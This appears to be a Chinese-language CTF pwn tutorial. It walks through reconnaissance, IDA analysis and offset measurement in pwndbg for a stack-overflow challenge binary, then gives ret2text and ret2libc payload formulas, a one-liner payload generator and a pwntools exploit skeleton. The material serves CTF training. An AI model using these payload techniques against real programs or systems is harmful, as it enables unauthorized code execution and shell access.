建立自己的SOP(标准作业程序)
Pwn 的核心是**"信息收集 -> 寻找漏洞 -> 构造利用链 -> 编写 Exploit"**。
第一步:基础侦察(知己知彼)------ 搞清楚"这是什么程序"
把题目附件下载下来后,第一件事不是开 IDA,而是用命令行工具摸底。
file [文件名]:
-
- 看架构 :是 32 位(i386/386)还是 64 位(x86-64)?这决定了你后续写 exp 用
p32还是p64,以及传参方式(栈传参 vs 寄存器传参)。 - 看类型:是动态链接(dynamically linked)还是静态链接(statically linked)?
- 看符号:是否被脱去符号表(stripped)?如果没脱(not stripped),IDA 里能看到函数名,会简单很多。
- 看架构 :是 32 位(i386/386)还是 64 位(x86-64)?这决定了你后续写 exp 用

file ./stack
-
- 这是你输入的命令。
file是一个用来识别文件类型的命令,./stack是你要检查的目标文件。
- 这是你输入的命令。
./stack: ELF 32-bit LSB executable
-
ELF: 这是文件格式。说明它是一个 Linux 系统下的可执行文件(类似于 Windows 下的.exe)。32-bit: 这是一个 32位 程序。在做 Pwn 题时,这非常重要,因为 32 位和 64 位的漏洞利用方法(比如传参方式、寄存器用法)是完全不同的。LSB executable: 意思是"最低有效位(Little-Endian)"可执行文件。这决定了多字节数据在内存中的存储顺序(小端序),写 exploit 脚本(如使用 pwntools)时需要注意这一点。
Intel i386, version 1 (SYSV)
-
Intel i386: 指的是它运行在 Intel x86 架构的 CPU 上。version 1 (SYSV): 使用 System V 的 ABI 标准。
dynamically linked
-
- 意思是动态链接 。这个程序本身不包含它需要的所有库代码(比如
printf函数的代码),而是需要在运行时去系统里寻找并加载共享库(通常是libc.so.6)。这意味着你可能需要泄露 libc 的地址来进行利用。
- 意思是动态链接 。这个程序本身不包含它需要的所有库代码(比如
interpreter /lib/ld-linux.so.2
-
- 这是动态链接器的路径,系统通过它来加载程序运行所需的依赖库。
for GNU/Linux 2.6.32
-
- 这是编译该程序时使用的内核版本信息。
BuildID[sha1]=...
-
- 这是一个唯一的构建 ID,类似于文件的指纹。
not stripped(最关键的信息之一)
-
- 没有被剥离符号表 。这是一个非常好的消息!意味着程序里保留了函数名和变量名(比如
main、vuln、gets等)。 - 如果你用 IDA Pro 或 Ghidra 反编译它,你能直接看到清晰的函数名,这会大大降低逆向分析的难度。如果显示
stripped,就说明符号被去除了,分析起来会比较痛苦。
- 没有被剥离符号表 。这是一个非常好的消息!意味着程序里保留了函数名和变量名(比如
checksec --file=[文件名](或者用 pwntools 里的checksec):
-
- 这一项极其重要!决定了你的攻击方向:
- NX(栈不可执行):如果开启(Enabled),你就不能直接往栈里写 shellcode 执行了,必须用 ROP(返回导向编程)或者 ret2libc。
- PIE(地址随机化):如果开启,程序每次运行的基址都不一样,你需要先泄漏地址(Leak)。
- Canary(栈保护):如果开启,你不能随便溢出覆盖返回地址,需要先泄漏 Canary 或者想办法绕过。
- RELRO:影响能不能改写 GOT 表(通常开启 Partial 或 Full)。

Arch: i386-32-little
-
- 确认了架构是 32位 小端序。和你之前用
file命令看到的一致。在写 exploit 脚本时,记得打包地址要用p32()。
- 确认了架构是 32位 小端序。和你之前用
RELRO: Partial RELRO(部分 RELRO)
-
- RELRO 全称是 Relocation Read-Only(重定位只读)。它用于保护全局偏移表(GOT 表)。
Partial RELRO意味着 GOT 表是可写的。在高级利用中,如果有格式化字符串漏洞,你可以尝试覆写 GOT 表里的函数地址来劫持程序执行流(比如把printf的 GOT 表地址改成system的地址)。对于基础栈溢出影响不大。
Stack: No canary found(无栈保护)
-
- Canary 是一种放在栈上的随机值。如果发生栈溢出覆盖了返回地址,Canary 的值就会被破坏,程序会直接崩溃报错,从而阻止漏洞利用。
No canary found是个天大的好消息! 这意味着你可以毫无顾忌地往栈里写入超长数据,直接把返回地址覆盖成你想要的地址(比如后门函数的地址)。
NX: NX enabled(栈不可执行)
-
- NX (No-eXecute) 意为数据不可执行。系统把内存分为了代码段和数据段,栈属于数据段,开启了 NX 意味着你不能把 Shellcode 放在栈上然后让程序跳过去执行。
- 既然不能直接执行栈上的代码,我们就需要用到 ROP(面向返回编程) 技术,或者调用程序自带的函数(比如
system("/bin/sh"))。
PIE: No PIE (0x8048000)(无地址随机化)
-
- PIE 会使得程序每次运行时的代码基地址都随机变化(类似 ASLR 的一种)。
No PIE也是个天大的好消息! 这意味着程序加载的基地址是固定的,就在0x8048000。你可以直接在反编译工具(如 IDA)里找到main函数的地址、后门函数的地址,然后在 exp 中直接硬编码这些地址,不用担心每次运行地址都会变。
Stripped: No(符号表未剥离)
-
- 和之前一样,意味着你可以清楚地看到各种函数名,大大降低了逆向分析的难度。
- 运行一下程序:
-
./[文件名]看看它长啥样。是经典的菜单题?还是简单的输入输出题?如果是远程题,用nc ip port连一下看看。- 随便输入点垃圾数据(比如
AAAAAAAAAAAAAAAAAAAAAAAA),看它是否崩溃(Segmentation fault),这能帮你快速定位输入点。

若说权限不足就先加权限

为方便对照,下面把 checksec 四大保护项的含义与对利用的影响整理成一张表:
| 保护项 | 开启含义 | 关闭含义 | 对利用的影响 |
|---|---|---|---|
| NX | 栈、堆等数据段不可执行,写入的 Shellcode 无法直接运行 | 栈可执行,可以把 Shellcode 写到栈上再跳过去执行 | 开启后需改用 ROP / ret2libc / ret2text 等复用已有代码的方式;关闭时可直接 ret2shellcode |
| PIE | 程序代码段基址随机化,每次运行地址都不同 | 代码段基址固定(32 位通常为 0x8048000),函数地址可直接硬编码 | 开启后必须先 Leak 出程序基址再计算偏移;关闭时可直接在 IDA 中取地址写进 payload |
| Canary | 栈上插入随机值,溢出覆盖返回地址前会先破坏它并触发检测 | 栈上没有随机值校验,可随意溢出覆盖返回地址 | 开启后需先 Leak Canary 或绕过(如格式化字符串、覆盖不经过 Canary 的指针);关闭时可直接覆盖返回地址 |
| RELRO | Partial:GOT 表可写;Full:GOT 表只读,重定位后不可修改 | 无 RELRO 保护,GOT 表完全可写 | Partial 时可配合格式化字符串等漏洞改写 GOT 表劫持执行流;Full 时基本放弃 GOT 覆写,转向栈上 ROP |
对照本文示例程序(32 位、No canary、NX enabled、No PIE、Partial RELRO),推荐打法是:优先走 Ret2Text ------利用 No canary 直接溢出覆盖返回地址,利用 No PIE 在 IDA 中直接取到后门函数或 system 与 /bin/sh 的固定地址并硬编码进 payload;由于 NX 开启不能写 Shellcode,若程序内没有现成的后门或 system,则改用 Ret2libc(先 Leak libc 地址再二次溢出);Partial RELRO 仅在有格式化字符串等写能力时才考虑 GOT 覆写。
第二步:静态分析(寻找破绽)------ 用 IDA 找漏洞
打开 IDA,按 F5 进入伪代码视图,从 main函数开始顺藤摸瓜。
- 找输入点(找危险函数):
-
- 在 IDA 左侧的 Imports(导入表) 或 Functions(函数列表) 里找有没有危险函数:
-
-
gets():绝对危险,无限长度输入,必溢出。read(0, buf, size)/fgets(buf, size, stdin):看size是不是比buf实际大小大。如果是,就是溢出。scanf("%s", buf)/strcpy/strcat:同样不限制长度。
-
- 确定溢出偏移量(Offset):
-
- 双击进入那个有漏洞的函数。
- 看
char buf[x]的大小。 - 双击汇编里的
buf变量 ,看它距离栈底(RBP或EBP)多远。比如显示[rbp-20h],那就是 32 字节(0x20)。 - 算偏移 :如果程序是 32 位,偏移 = 数组大小 + 4;如果是 64 位,偏移 = 数组大小 + 8(覆盖 Saved RBP)。(更稳妥的方法是后面用 pwntools 的 cyclic 工具实测)。
用 pwntools cyclic 配合 GDB 实测偏移量(推荐做法) :IDA 里算出来的偏移是静态估算,遇到编译器优化、结构体对齐或局部变量顺序变化时可能不准,最稳妥的方式是用 cyclic 生成规律字符串,让程序崩溃后反查覆盖返回地址的位置。完整流程如下:
- 生成规律字符串 :在终端执行
cyclic 100,会输出一段 100 字节、每 4 字节都唯一的字符串(32 位程序按 4 字节对齐,64 位按 8 字节)。
bash
$ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
- 用 GDB 运行程序并喂入该字符串 :启动
gdb ./stack(建议装好 pwndbg 或 gef),运行程序,在输入点粘贴上面那段字符串。
bash
$ gdb ./stack
pwndbg> run
# 程序提示输入时,粘贴 cyclic 100 的输出并回车
- 崩溃后查看 EIP 的值 :程序收到超长输入后触发段错误,GDB 会停在崩溃现场。32 位程序看
EIP,64 位程序看RIP。
bash
pwndbg> info registers eip
eip 0x6161616c 0x6161616c
# 64 位程序则用:info registers rip
# rip 0x616161616161616c
这里的 0x6161616c 就是被覆盖后的返回地址,它其实是 cyclic 字符串中的某 4 个字节(0x61 就是字符 a)。
- 用 cyclic -l 反查偏移 :把崩溃时 EIP 的值(去掉
0x)传给cyclic -l,它会告诉你这个片段在字符串中的起始下标,也就是覆盖到返回地址所需的填充长度。
bash
$ cyclic -l 0x6161616c
44
结果 44 就是偏移量,说明 payload 需要先填 44 个垃圾字节,接下来的 4 个字节才会覆盖到返回地址。64 位程序同理,只是传入的是 8 字节的 RIP 值,例如 cyclic -l 0x616161616161616c。
-
与 IDA 静态计算结果互相验证 :回到 IDA,若
buf显示为[ebp-0x28],则数组大小 0x28 = 40 字节,32 位程序偏移 = 40 + 4(覆盖 Saved EBP)= 44,与 cyclic 实测结果完全一致,说明静态分析正确,可以放心写 exp。若两者不一致,通常有以下原因,需要以 cyclic 实测值为准 :<pre><pre><ul> -
IDA 里看到的
buf不是真正被溢出的那个缓冲区,或者中间还夹着其它局部变量; -
编译器做了栈对齐或变量重排,实际栈帧布局与伪代码顺序不同;
-
64 位程序忘记把 Saved RBP 的 8 字节算进去,或漏算了栈对齐填充。
验证通过后,就可以把 offset = 44 直接写进 exploit 脚本,配合前面 IDA 中找到的后门函数或 system 地址构造 payload 了。
- 找"惊喜"(后门函数):
-
- 在左侧函数列表里,有没有类似
backdoor、get_shell、system的直接利用函数? - 如果有,并且你能控制返回地址,覆盖返回地址为后门函数(Ret2Text),直接通关。
- 在左侧函数列表里,有没有类似
- 找可用的字符串:
-
- 按
Shift + F12打开字符串窗口,找找有没有/bin/sh。如果有,记下地址。
- 按

setvbuf(stdout, 0, 2, 0);等 :这是 CTF 题目的常规操作,用来关闭缓冲区。这样你print的内容能立刻显示出来,不用等程序结束才输出。puts("stack happy!");等:这就是你刚才运行程序时看到的输出。pwnme();:这是破局的核心!main函数自己什么都没干,只是调用了一个名为pwnme()的函数。puts("\nExiting");:程序正常结束。
既然核心逻辑在 pwnme() 里,我们就要进去看。注意看左侧的函数列表,你能清晰地看到 pwnme、 fgets、 puts、 system这几个极其敏感的函数。 因为题目没有去掉符号(Not stripped),这简直是送分。
第三步:动态调试与构造思路(排兵布阵)
在动手写 payload 之前,先看一张「保护项 → 打法」的分流图。拿到 checksec 结果后,按图中的判断节点依次走一遍,就能快速锁定该用哪种利用方式:
如何按图索骥选择路线:
- 先看 Canary :这是第一道分水岭。若
No canary found,可以直接溢出覆盖返回地址,路线最省事;若开启,则必须先想办法 Leak 出 Canary 的值(如格式化字符串、栈上残留输出)或找到不经过 Canary 的覆盖点,否则溢出只会触发__stack_chk_fail崩溃。 - 再看 PIE :
No PIE时程序基址固定(32 位通常为0x8048000),IDA 里看到的函数地址可以直接硬编码;PIE enabled时每次运行基址随机,必须先通过puts/write等输出函数 Leak 一个程序内地址,算出基址后再加偏移。 - 然后看有没有现成的"捷径" :如果程序里存在后门函数,或同时存在
system与/bin/sh字符串,就走 Ret2Text,把返回地址直接改成目标函数地址;如果没有,就进入 Ret2libc 分支,先 Leak libc 中某个函数的真实地址,算出system与/bin/sh的地址,再二次溢出。 - NX 决定能不能写 Shellcode :
NX disabled时可以把 Shellcode 放到栈上再跳过去执行(ret2shellcode);NX enabled时栈不可执行,只能复用已有代码,即 Ret2Text / Ret2libc / ROP。 - 最后看 RELRO :它只影响 GOT 表能否被改写。
Partial RELRO或无 RELRO 时,若同时存在格式化字符串等任意写能力,可以考虑 GOT 覆写劫持执行流;Full RELRO时 GOT 表只读,基本放弃这条路,回到栈上 ROP。
对照本文示例程序(32 位、No canary、NX enabled、No PIE、Partial RELRO),沿图走一遍:Canary 关闭 → 直接溢出;PIE 关闭 → 地址可硬编码;程序内有 system 与 /bin/sh → 走 Ret2Text;NX 开启 → 不能写 Shellcode,只能复用已有函数;RELRO 为 Partial → 仅在存在格式化字符串等写能力时才考虑 GOT 覆写。最终结论就是优先 Ret2Text,其次 Ret2libc,与前面表格下方的推荐打法完全一致。
根据前面的分析,决定你的打法:
- 场景 A:有直接的后门函数 / 有
system和/bin/sh-> 走最简单的 Ret2Text。
-
- 32 位:
payload = b'A' * offset + p32(system_addr) + p32(return_addr) + p32(sh_addr) - 64 位:
payload = b'A' * offset + p64(ret_gadget) + p64(pop_rdi) + p64(sh_addr) + p64(system_addr)
- 32 位:
- 场景 B:没有现成的
system,但有溢出 -> 走 Ret2libc。
-
- 思路:先用溢出让程序输出(
puts/write)某个函数(如puts)的 GOT 表真实地址 -> 利用 libc 库计算system的真实地址 -> 再次溢出,执行system("/bin/sh")。
- 思路:先用溢出让程序输出(
- 场景 C:开启了 Canary / PIE -> 需要先想办法
Leak(泄露)出 Canary 的值或者程序的基址。 - 场景 D:64 位程序,没有足够的
pop rdi等 gadget -> 可能需要用到 SROP 或者 Ret2csu。
动态调试工具:
如果你有 Linux 环境,强烈建议安装 pwndbg 或 gef(GDB 插件)。在你的 payload 发送前,用 gdb ./程序 运行,输入 cyclic 100 生成规律字符串作为输入,程序崩溃时,GDB 会直接告诉你偏移量是多少(比如 RIP: 0x616161616161...),比你硬算 IDA 更准。
用 pwndbg 定位偏移与验证 payload
前面用 cyclic 反查偏移是「先崩溃、再回查」的思路,实际做题时更推荐在 pwndbg 里下断点,直接观察栈布局和返回地址被覆盖的瞬间。下面以本文示例程序 ./stack(32 位、No canary、No PIE)为例,给出从启动 GDB 到确认 offset = 44 的完整命令序列与预期输出。
第 1 步:启动 GDB 并加载程序
bash
$ gdb ./stack
pwndbg> set disassembly-flavor intel
pwndbg> checksec
# 预期输出(节选)
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x8048000)
第 2 步:查看 pwnme 的汇编,找到返回指令位置
bash
pwndbg> disassemble pwnme
# 预期输出(节选,地址以实际为准)
# 0x0804846b <+0>: push ebp
# 0x0804846c <+1>: mov ebp,esp
# 0x0804846e <+3>: sub esp,0x28
# ...
# 0x0804849e <+54>: leave
# 0x0804849f <+55>: ret
记下 ret 的地址(示例为 0x0804849f),下一步就在它上面下断点。
第 3 步:在 pwnme 返回处下断点并运行
bash
pwndbg> break *0x0804849f
Breakpoint 1 at 0x804849f
pwndbg> run
# 程序提示输入时,粘贴 cyclic 100 的输出并回车
# 程序会停在 ret 指令处,此时 EIP 尚未被弹出
第 4 步:查看栈布局,确认返回地址被覆盖
bash
pwndbg> x/20wx $esp
# 预期输出(节选)
# 0xffffd1a0: 0x6161616c 0x6161616d 0x6161616e 0x6161616f
# 0xffffd1b0: 0x61616170 0x61616171 0x61616172 0x61616173
# ...
pwndbg> info registers ebp esp
ebp 0xffffd1c8
esp 0xffffd1a0
pwndbg> telescope $esp 8
预期输出:栈顶连续 8 个 4 字节槽位,全部是 cyclic 片段
可以看到 $esp 指向的位置已经是 0x6161616c,说明 ret 即将弹出的返回地址已被完全覆盖。
第 5 步:单步执行 ret,观察 EIP 被劫持
bash
pwndbg> si
# 预期输出
# Program received signal SIGSEGV, Segmentation fault.
# EIP: 0x6161616c
pwndbg> info registers eip
eip 0x6161616c 0x6161616c
第 6 步:用 cyclic -l 反查偏移
bash
pwndbg> cyclic -l 0x6161616c
# 预期输出
# 44
结果 44 与 IDA 中 buf 为 [ebp-0x28] 的静态计算(0x28 + 4 = 44)完全一致,偏移确认无误。
第 7 步:用 pwndbg 验证 payload 是否命中目标地址
把 offset = 44 代入 payload,用后门函数地址(示例为 0x08048424)填充返回地址,再在 GDB 里跑一遍:
bash
pwndbg> run < payload.txt
# payload.txt 内容由下面 Python 生成:
# python3 -c "import sys; sys.stdout.buffer.write(b'A'*44 + (0x08048424).to_bytes(4,'little'))" > payload.txt
预期输出
Breakpoint 1, 0x0804849f in pwnme ()
pwndbg> x/1wx $esp
0xffffd1a0: 0x08048424
pwndbg> si
0x08048424 in get_shell ()
程序成功跳转到后门函数,说明 payload 构造正确
如果 si 之后 EIP 不是后门函数地址,而是 0x41414141 之类的值,说明偏移算错或地址写错;如果跳转后崩溃在 system 内部,则多半是 32 位下 system 的返回地址槽位没填,需要补一个 p32(0) 或 p32(ret_addr) 占位。用 pwndbg 这样一步步验证,比直接盲发 payload 到远程要高效得多。
第四步:编写 Exploit(写代码干活)
打开你的 Python 编辑器(VSCode/PyCharm),使用 pwntools 库来写脚本。不要手搓 socket 代码。
你的脚本应该具备以下基本结构:
from pwn import *
1. 设置环境
context(arch='amd64', os='linux', log_level='debug') # 根据第一步的 file 命令设置
context(arch='i386', os='linux', log_level='debug')
2. 连接目标(本地测试用 process,打远程用 remote)
p = process('./pwn')
p = remote('ip', port)
3. 定义地址和偏移量
offset = 0xXX
system_addr = 0xXXXX
sh_addr = 0xXXXX
4. 构造 payload
payload = b'A' * offset
payload += p64(system_addr)
... 继续拼接
5. 发送 payload
p.recvuntil(b'...') # 接收提示信息
p.sendline(payload)
6. 拿到 shell,进入交互模式
p.interactive()
💡 新手避坑小建议:
- 多看 WP,但要看思路 :不要直接抄 exp,看别人怎么用
checksec,怎么用 GDB 找偏移,怎么找 gadget(比如用ROPgadget --binary ./pwn --only "pop|ret")。 - 善用
pwn cyclic:算不准偏移,就在本地跑的时候扔一个cyclic(100)进去,看崩溃时的寄存器值,秒算偏移。 - 先通本地,再打远程 :本地调试环境(Ubuntu)和题目远程环境(通常是特定的 libc)往往不一样,本地拿到了 shell,再改
remote去打靶机。
按照这个"侦察 -> 静态分析 -> 定策略 -> 写代码"的 SOP,多刷几道基础题(比如 buuoj 上的前几道 pwn),你的思路就会非常清晰了。加油!
总结与自查清单
回顾整条链路:先用 file 摸清架构、链接方式与符号表,再用 checksec 确认 NX、PIE、Canary、RELRO 四大保护,接着进 IDA 从 main 顺藤摸瓜找到危险函数与后门,然后用 cyclic 配合 pwndbg 实测出真实偏移,最后按保护项选定 Ret2Text / Ret2libc / ROP 路线,用 pwntools 写出 exp,先在本地 process 跑通再切 remote 打远程。每一步的输出都是下一步的输入,任何一环偷懒都会在最后一步暴露。
下面这份清单建议每做一道题都过一遍,勾完再提交 flag:
- file 看架构与符号 :确认是 32 位还是 64 位、动态还是静态链接、是否 stripped。判断标准:输出里能明确看到
ELF 32-bit/64-bit与not stripped;常见坑是没注意LSB小端序,写 exp 时忘了用p32/p64打包。 - checksec 看四大保护 :逐项记录 NX、PIE、Canary、RELRO 的开关状态。判断标准:四项都有明确结论,并能对应到具体打法;常见坑是只看 NX 就动手,忽略了 Canary 导致溢出后直接
__stack_chk_fail崩溃。 - IDA 找危险函数与后门 :在 Imports 里确认
gets/read/strcpy等输入点,在函数列表里找backdoor/get_shell/system。判断标准:能指出具体是哪个函数、哪一行调用存在溢出;常见坑是只看了main就下结论,漏掉main调用的子函数里的真正漏洞点。 - cyclic + pwndbg 实测 offset :用
cyclic 100喂入,崩溃后cyclic -l反查,并与 IDA 静态计算互相验证。判断标准:实测值与静态估算一致(如 32 位0x28 + 4 = 44);常见坑是 64 位漏算 Saved RBP 的 8 字节,或没考虑栈对齐填充。 - 按保护项选打法 :No canary + No PIE + 有后门走 Ret2Text;无现成
system走 Ret2libc;NX 开启禁用 Shellcode;64 位缺 gadget 考虑 SROP / Ret2csu。判断标准:所选路线与 checksec 结果逐项对得上;常见坑是 NX 开启还硬写 Shellcode,或 PIE 开启却直接硬编码地址。 - 本地 process 验证后再 remote :先用
p = process('./pwn')跑通拿到 shell,再改成remote('ip', port)。判断标准:本地能稳定interactive();常见坑是本地与远程 libc 版本不同导致system偏移算错,需用题目提供的 libc 或LibcSearcher匹配。
核心专业名词
一、 侦察阶段(搞清楚程序是个啥)
1. Pwn
- 学术名:二进制漏洞利用(Binary Exploitation)。
- 大白话:通过发现程序代码里的漏洞,控制目标电脑,拿到它的最高权限(Shell)。在 CTF 比赛中,Pwn 通常是分值最高、最难的方向。发音类似"砰"。
2. 架构(32位 vs 64位)
- 大白话 :程序运行的"地基"。32 位(x86/i386)和 64 位(x86-64/amd64)在传参方式 和内存大小上完全不同。
-
- 32位:参数直接扔在"栈"上传递。
- 64位 :参数必须放进特定的"寄存器"(比如
rdi、rsi)里传递。
3. 动态链接 vs 静态链接
- 大白话:
-
- 动态链接 :程序自己是个"空壳",需要借用系统的公共库(比如
libc.so)来干活。Pwn 里经常要利用系统公共库里的函数(比如system)。 - 静态链接:程序把需要的代码全都打包在自己身上,体积很大,通常没有动态库可以利用。
- 动态链接 :程序自己是个"空壳",需要借用系统的公共库(比如
4. 符号表(Symbols) / 没脱符号(not stripped)
- 大白话 :程序里的"说明书"。如果没脱符号,你拖进 IDA 就能直接看到
main、system、backdoor等人类能看懂的函数名。如果"脱去符号(stripped)",全变成sub_400xxx这种看不懂的代号,难度飙升。
5. checksec
- 大白话:程序的"安检仪"。Pwn 手拿到程序第一件事就是跑这个命令,看看系统开没开防御系统。主要有四大金刚:
-
- NX(栈不可执行) :必考。如果开启,你就不能自己写一段恶意代码(Shellcode)塞进栈里让它运行。你只能借用程序原有的代码去执行(这就是 ROP 的由来)。
- PIE(地址随机化):如果开启,程序每次运行的记忆地址都在变,你就不能直接写死一个地址去打,必须先"偷(Leak)"出一个地址。
- Canary(栈保护):在栈底放一个"金丝雀(随机数)"。如果你试图溢出覆盖返回地址,一定会先把金丝雀弄死,程序就会报警退出。必须想办法先把这个随机数偷出来。
- RELRO:保护 GOT 表(程序记录外部函数地址的表格)。
二、 寻找漏洞阶段(找作案现场)
6. 栈溢出(Stack Overflow)
- 大白话:这是最基础的漏洞。程序给你个小杯子(比如 10 字节的数组),你非要往里倒 100 字节的水。水漫出来,把旁边存放"函数返回地址"的地方给淹了(覆盖了)。等你一走(函数返回),就会走到你篡改过的错误地址去。
7. 危险函数(gets、read、strcpy 等)
- 大白话:不检查边界的"糊涂保安"。用这些函数接收输入,你输入多长它就收多长,从而引发溢出。
8. 偏移量(Offset)
- 大白话 :你要填多少个"垃圾字符(比如 A)",才能刚好覆盖到你想篡改的"返回地址"。比如
A * 13,13 就是偏移量。
9. 后门函数(Backdoor)
- 大白话 :出题人故意留给你的"捷径"。比如程序里本身就有个没被调用的函数,里面写着
system("/bin/sh"),你只要把返回地址改成这个后门函数的地址(Ret2Text),就直接通关了。
三、 构造攻击阶段(制作武器)
10. Shell
- 大白话 :命令行控制权。拿到 Shell 意味着你可以对目标机器敲命令(比如
ls看文件,cat flag拿通关密码)。
11. /bin/sh
- 大白话 :Linux 下的 Shell 程序(相当于 Windows 的 cmd.exe)。配合
system函数,只要运行system("/bin/sh"),你就拿到控制权了。
12. system函数
- 大白话:C 语言里专门用来执行系统命令的函数。
13. ROP(返回导向编程)
- 大白话 :当系统开了 NX(栈不可执行)时,黑客发明的"拼图游戏"。既然不能自己写代码,那我就从程序现有的代码里,找一段段以
ret(返回)结尾的碎片代码(叫 Gadget),像贪吃蛇一样把它们拼起来,拼成一套完整的攻击指令。
14. Gadget
- 大白话 :ROP 的"零件"。通常是几句汇编代码加一个
ret。比如最著名的零件pop rdi ; ret(把栈顶的值弹给 rdi 寄存器,然后返回)。找这些零件的工具叫ROPgadget。
15. Ret2libc
- 大白话 :一种经典的攻击套路。如果程序里既没有后门,也没有
system函数,怎么办?去系统的动态链接库(libc)里找!套路是:先让程序把 libc 里某个函数的真实地址打印(Leak)出来 -> 计算出system在内存里的真实地址 -> 再次溢出,执行system("/bin/sh")。
16. Leak(泄漏)
- 大白话 :偷取内存地址。当开启了 PIE 或 ASLR(地址随机化)时,不管是找
system还是找栈地址,你都需要用puts或write函数把内存里的真实地址打印出来。
四、 写代码阶段(动手开打)
17. pwntools
- 大白话 :Python 里的 Pwn 界"瑞士军刀"。不用你自己写底层的网络连接代码,只需要
from pwn import *,它有无数封装好的函数帮你发送 payload、接收数据、打包地址。
18. Payload(攻击载荷)
- 大白话:你准备发给程序的"毒药数据"。通常由"垃圾字符(填坑) + 地址(篡改) + 代码(执行)"拼接而成。
19. p32 / p64 / p32() / p64()
- 大白话 :打包工具。32 位程序用
p32(地址),64 位用p64(地址)。因为计算机内存是"小端序"的(倒着存的),用它们可以把长串数字转换成计算机认识的字节流。
20. 本地调试(process) vs 远程打靶(remote)
- 大白话 :
p = process('./pwn')是让程序在你自己的电脑上跑,方便你用调试器查错;p = remote('IP', 端口)是连接比赛服务器的真实目标。
21. GDB / pwndbg / gef
- 大白话:动态调试器。相当于程序的"X光机"。你可以让程序一步步走,随时查看内存、寄存器里现在到底是什么值,是找偏移量和调试崩溃的神器。
22. Shellcode
- 大白话:一段专门为了拿到 Shell 而编写的、极其精简的机器码。现在比赛中因为 NX 保护基本不给用,但原理要懂。
23. 栈对齐(Stack Alignment)
- 大白话 :64 位程序特有的"强迫症"要求。栈的内存地址必须是 16 的倍数,否则调用
system时会莫名其妙崩溃。如果崩溃了,在 payload 里多加一个ret指令垫一下(调整 8 个字节)通常就好了。
新手学习建议 :
把这份词典当成参考,先不用死记硬背。按照前面的 SOP 流程,找几道最简单的题目(B站搜"Pwn 栈溢出基础教程",或者 buuoj 的第一题 test_your_nc 开始),跟着视频/文章把每一道题亲手打一遍。遇到不懂的词,回来查这个词典。打通过 3-5 道简单的题目后,这些词你就自然而然地记住了。